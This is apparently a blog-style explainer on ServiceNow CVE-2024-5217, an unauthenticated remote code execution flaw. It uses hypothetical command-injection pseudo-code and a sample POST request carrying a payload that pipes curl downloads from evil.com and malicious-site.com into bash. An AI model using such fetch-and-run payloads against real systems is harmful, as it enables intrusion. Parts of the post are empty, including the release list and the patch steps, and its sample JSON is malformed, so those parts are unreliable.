In June 2024, ServiceNow released a critical patch for a newly discovered input validation vulnerability: CVE-2024-5217. This flaw impacts the Now Platform versions “Washington DC”, “Vancouver”, and some older releases. Without the patch, this bug could allow an attacker to remotely execute arbitrary code—even if they’re not logged in. In this post, we’ll break down how the vulnerability works, show what an exploit might look like, and provide resources to protect your ServiceNow environment.

What Is CVE-2024-5217?

CVE-2024-5217 is a security hole caused by improper input validation in the ServiceNow platform. A bad actor can abuse this issue to run code as if they have system-level access. This is classified as unauthenticated remote code execution (RCE)—one of the most dangerous types of vulnerabilities.

Earlier Now Platform releases

If your system is running on any of these release tracks and hasn’t been updated after June 2024, you’re likely at risk.

How the Vulnerability Happens (Simplified)

The problem begins when user-supplied input isn’t fully checked before it is used in system commands. This kind of bug is a classic “input validation” flaw. An attacker can feed a carefully crafted payload via an API endpoint or web form, causing the application to execute code they control.

Let’s look at a simplified example

// Hypothetical vulnerable ServiceNow handler (pseudo-code)
function handleUserAction(request) {
    // Takes user input and uses it directly (bad!)
    let userInput = request.getParameter("action");
    // Executes as system command
    runCommand("sn-cli " + userInput);
}

In this example, the runCommand() function stitches together a system command from unvalidated input. An attacker might send "action=;curl http://evil.com/pwn.sh|bash;"; and the system would run it, giving them remote control.

Proof of Concept: What an Exploit Could Look Like

Disclaimer: The following code is for educational purposes only. Do not use this for unauthorized activity.

Suppose there’s an exposed API endpoint that processes a user-supplied string using system calls.

An attacker could send a POST request as follows

POST /api/v1/unsafeEndpoint HTTP/1.1
Host: your-servicenow-instance.com
Content-Type: application/json

{
    "action": ";curl http://malicious-site.com/malware.sh|bash;";
}

If the ServiceNow instance processes the input like in the earlier pseudo-code, it will download and execute malicious code.

How to Patch and Stay Protected

ServiceNow has released critical patches and hotfixes during the June 2024 security cycle. Here’s how to protect your system:

Follow ServiceNow’s guide:

Now Platform Security Advisories

Original Sources

- ServiceNow Customer Security Advisory for CVE-2024-5217
- NIST NVD entry for CVE-2024-5217 (link added when available)
- Official ServiceNow Security Best Practices

Conclusion

CVE-2024-5217 is a critical, easily exploitable vulnerability. If left unattended, your ServiceNow platform is at serious risk of data loss and compromise. Make sure you’ve applied the relevant June 2024 security patches and set up ongoing monitoring. Stay one step ahead—your organization’s data depends on it!

If you need more help, reach out to your ServiceNow support representative or your internal security team today. Don’t wait until you see suspicious activity!

Have questions? Comment below or read more on ServiceNow’s Security Portal.

Timeline

Published on: 07/10/2024 17:15:12 UTC
Last modified on: 07/12/2024 03:55:22 UTC